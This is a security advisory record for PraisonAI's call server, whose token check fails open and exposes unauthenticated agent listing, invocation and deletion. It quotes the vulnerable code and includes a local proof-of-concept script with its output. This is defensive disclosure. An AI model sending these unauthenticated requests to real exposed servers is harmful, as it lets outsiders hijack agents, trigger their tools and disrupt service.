{"id":"GHSA-86qc-r5v2-v6x6","summary":"PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset","details":"### Summary\n\nPraisonAI's call server exposes a network-facing agent control API without authentication when `CALL_SERVER_TOKEN` is not configured.\n\nThe affected component is the `praisonai.api.agent_invoke` router as mounted by `praisonai.api.call`. The authentication helper `verify_token()` fails open when `CALL_SERVER_TOKEN` is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.\n\nThis is security-relevant because the bundled call server includes the vulnerable router and binds to `0.0.0.0`. As a result, operators who launch the call server without explicitly setting `CALL_SERVER_TOKEN` may unintentionally expose an unauthenticated remote agent control plane.\n\n### Details\n\nThe vulnerable behavior is caused by a fail-open authentication default.\n\nIn `praisonai/api/agent_invoke.py`, `CALL_SERVER_TOKEN` is read from the environment:\n\n```python\nCALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')\n```\n\nThe authentication dependency then returns successfully when the token is not configured:\n\n```python\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -\u003e None:\n    if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\n        return  # No authentication if FastAPI unavailable or no token set\n```\n\nThis means that the absence of `CALL_SERVER_TOKEN` disables authentication entirely.\n\nThe same helper is used by sensitive agent-control routes, including:\n\n```python\n@router.post(\"/agents/{agent_id}/invoke\")\nasync def invoke_agent(..., _: None = Depends(verify_token))\n\n@router.get(\"/agents\")\nasync def list_agents(_: None = Depends(verify_token))\n\n@router.delete(\"/agents/{agent_id}\")\nasync def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))\n\n@router.get(\"/agents/{agent_id}\")\nasync def get_agent_info(agent_id: str, _: None = Depends(verify_token))\n```\n\nThese endpoints allow a caller to:\n\n- list registered agents;\n- retrieve agent metadata;\n- retrieve agent instruction text;\n- invoke agents;\n- unregister agents.\n\nThe vulnerable router is mounted by the call server:\n\n```python\nfrom .agent_invoke import router as agent_invoke_router\napp.include_router(agent_invoke_router)\n```\n\nThe call server then listens on all interfaces:\n\n```python\nuvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")\n```\n\nTherefore, when `praisonai-call` is started without `CALL_SERVER_TOKEN`, the agent-control API becomes reachable without authentication from any client that can access the server.\n\n### PoC\n\nThe following local PoC imports the real `praisonai.api.agent_invoke` router from source, ensures `CALL_SERVER_TOKEN` is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.\n\nThe PoC proves that, without sending any authentication material:\n\n1. `GET /api/v1/agents` returns the list of registered agents.\n2. `GET /api/v1/agents/{agent_id}` exposes agent metadata and instructions.\n3. `POST /api/v1/agents/{agent_id}/invoke` executes the registered agent.\n4. `DELETE /api/v1/agents/{agent_id}` unregisters the agent.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport sys\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPRAISON_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PRAISON_ROOT / \"praisonai/api/agent_invoke.py\": [\n            \"CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')\",\n            \"if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\",\n            '@router.post(\"/agents/{agent_id}/invoke\")',\n            '@router.get(\"/agents\")',\n            '@router.delete(\"/agents/{agent_id}\")',\n            '@router.get(\"/agents/{agent_id}\")',\n        ],\n        PRAISON_ROOT / \"praisonai/api/call.py\": [\n            \"app.include_router(agent_invoke_router)\",\n            'uvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")',\n        ],\n    }\n\n    for path, needles in expected.items():\n        if not path.exists():\n            raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nclass DemoAgent:\n    name = \"demo-agent\"\n    instructions = \"super-secret instructions\"\n    tools = [SimpleNamespace(name=\"danger-tool\")]\n\n    def start(self, message: str) -\u003e str:\n        return f\"echo:{message}\"\n\n\ndef main() -\u003e int:\n    verify_source()\n\n    os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n    sys.path.insert(0, str(PRAISON_ROOT))\n\n    from fastapi import FastAPI\n    from fastapi.testclient import TestClient\n    from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router\n\n    app = FastAPI()\n    app.include_router(router)\n\n    register_agent(\"demo\", DemoAgent())\n\n    client = TestClient(app)\n\n    list_resp = client.get(\"/api/v1/agents\")\n    info_resp = client.get(\"/api/v1/agents/demo\")\n    invoke_resp = client.post(\"/api/v1/agents/demo/invoke\", json={\"message\": \"hello\"})\n    delete_resp = client.delete(\"/api/v1/agents/demo\")\n\n    print(f\"[poc] token_configured={bool(CALL_SERVER_TOKEN)}\")\n    print(f\"[poc] list_status={list_resp.status_code} body={list_resp.json()}\")\n    print(f\"[poc] info_status={info_resp.status_code} body={info_resp.json()}\")\n    print(f\"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}\")\n    print(f\"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}\")\n\n    if CALL_SERVER_TOKEN:\n        raise SystemExit(\"[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process\")\n\n    if list_resp.status_code != 200 or \"demo\" not in list_resp.json().get(\"agents\", []):\n        raise SystemExit(\"[poc] MISS: unauthenticated agent listing failed\")\n\n    if info_resp.status_code != 200 or info_resp.json().get(\"instructions\") != \"super-secret instructions\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent info leak failed\")\n\n    if invoke_resp.status_code != 200 or invoke_resp.json().get(\"result\") != \"echo:hello\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent invocation failed\")\n\n    if delete_resp.status_code != 200:\n        raise SystemExit(\"[poc] MISS: unauthenticated agent unregister failed\")\n\n    print(\"[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nObserved result:\n\n```text\n[poc] token_configured=False\n[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}\n[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']}\n[poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}\n[poc] delete_status=200 body={'message': \"Agent 'demo' unregistered successfully\", 'status': 'success'}\n[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\n```\n\nThis confirms that the agent-control endpoints are accessible without authentication when `CALL_SERVER_TOKEN` is unset.\n\n### Impact\n\nIf an operator runs the PraisonAI call server without explicitly setting `CALL_SERVER_TOKEN`, any reachable client may be able to:\n\n- enumerate registered agents;\n- read agent metadata;\n- read agent instruction text;\n- invoke agents;\n- trigger downstream tools or external integrations connected to agents;\n- consume model or API budget through repeated invocation;\n- unregister agents and disrupt availability.\n\nThe impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface.\n\nThe issue is not limited to information disclosure. The unauthenticated `invoke` endpoint can trigger agent execution, and the unauthenticated `delete` endpoint can remove registered agents.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Fail closed when `CALL_SERVER_TOKEN` is unset.\n\n   The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied.\n\n2. Refuse to mount the agent invocation router unless authentication is configured.\n\n3. If unauthenticated mode is intended for local development, bind to `127.0.0.1` by default when `CALL_SERVER_TOKEN` is absent.\n\n4. Add a startup error or highly visible warning when the call server is started without authentication.\n\n5. Add regression tests that assert `401 Unauthorized` for all sensitive agent routes when no valid token is supplied.\n\n6. Consider requiring an explicit unsafe flag, such as `--allow-unauthenticated-call-server`, before allowing the server to start without authentication.\n\n### Security boundary\n\nThis report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when `CALL_SERVER_TOKEN` is missing while the bundled server binds to `0.0.0.0`, which can expose the agent-control API remotely.","aliases":["CVE-2026-47396","PYSEC-2026-466"],"modified":"2026-06-29T12:26:40.811391999Z","published":"2026-05-29T22:27:34Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-284","CWE-306"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-05-29T22:27:34Z"},"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.40"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.59","0.0.59rc11","0.0.59rc2","0.0.59rc3","0.0.59rc5","0.0.59rc6","0.0.59rc7","0.0.59rc8","0.0.59rc9","0.0.6","0.0.61","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.7","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.8","0.0.9","0.1.0","0.1.1","0.1.10","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9","1.0.0","1.0.1","1.0.10","1.0.11","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.8","1.0.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.36","2.0.37","2.0.38","2.0.39","2.0.40","2.0.41","2.0.42","2.0.43","2.0.44","2.0.45","2.0.46","2.0.47","2.0.48","2.0.49","2.0.5","2.0.50","2.0.51","2.0.53","2.0.54","2.0.55","2.0.56","2.0.57","2.0.58","2.0.59","2.0.6","2.0.60","2.0.61","2.0.62","2.0.63","2.0.64","2.0.65","2.0.66","2.0.67","2.0.68","2.0.69","2.0.7","2.0.70","2.0.71","2.0.72","2.0.73","2.0.74","2.0.75","2.0.76","2.0.77","2.0.78","2.0.79","2.0.8","2.0.80","2.0.81","2.0.9","2.1.0","2.1.1","2.1.4","2.1.5","2.1.6","2.2.1","2.2.10","2.2.11","2.2.12","2.2.13","2.2.14","2.2.15","2.2.16","2.2.17","2.2.18","2.2.19","2.2.2","2.2.20","2.2.21","2.2.22","2.2.24","2.2.25","2.2.26","2.2.27","2.2.28","2.2.29","2.2.3","2.2.30","2.2.31","2.2.32","2.2.33","2.2.34","2.2.35","2.2.36","2.2.37","2.2.38","2.2.39","2.2.4","2.2.40","2.2.41","2.2.42","2.2.43","2.2.44","2.2.45","2.2.46","2.2.47","2.2.48","2.2.49","2.2.5","2.2.50","2.2.51","2.2.52","2.2.53","2.2.54","2.2.55","2.2.56","2.2.57","2.2.58","2.2.59","2.2.6","2.2.60","2.2.61","2.2.62","2.2.63","2.2.64","2.2.65","2.2.66","2.2.67","2.2.68","2.2.69","2.2.7","2.2.70","2.2.71","2.2.72","2.2.73","2.2.74","2.2.75","2.2.76","2.2.77","2.2.78","2.2.79","2.2.8","2.2.80","2.2.81","2.2.82","2.2.83","2.2.84","2.2.86","2.2.87","2.2.88","2.2.89","2.2.9","2.2.90","2.2.91","2.2.93","2.2.95","2.2.96","2.2.97","2.2.98","2.2.99","2.3.0","2.3.1","2.3.10","2.3.11","2.3.12","2.3.13","2.3.14","2.3.15","2.3.16","2.3.18","2.3.19","2.3.2","2.3.20","2.3.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.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4.6.39","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-86qc-r5v2-v6x6/GHSA-86qc-r5v2-v6x6.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}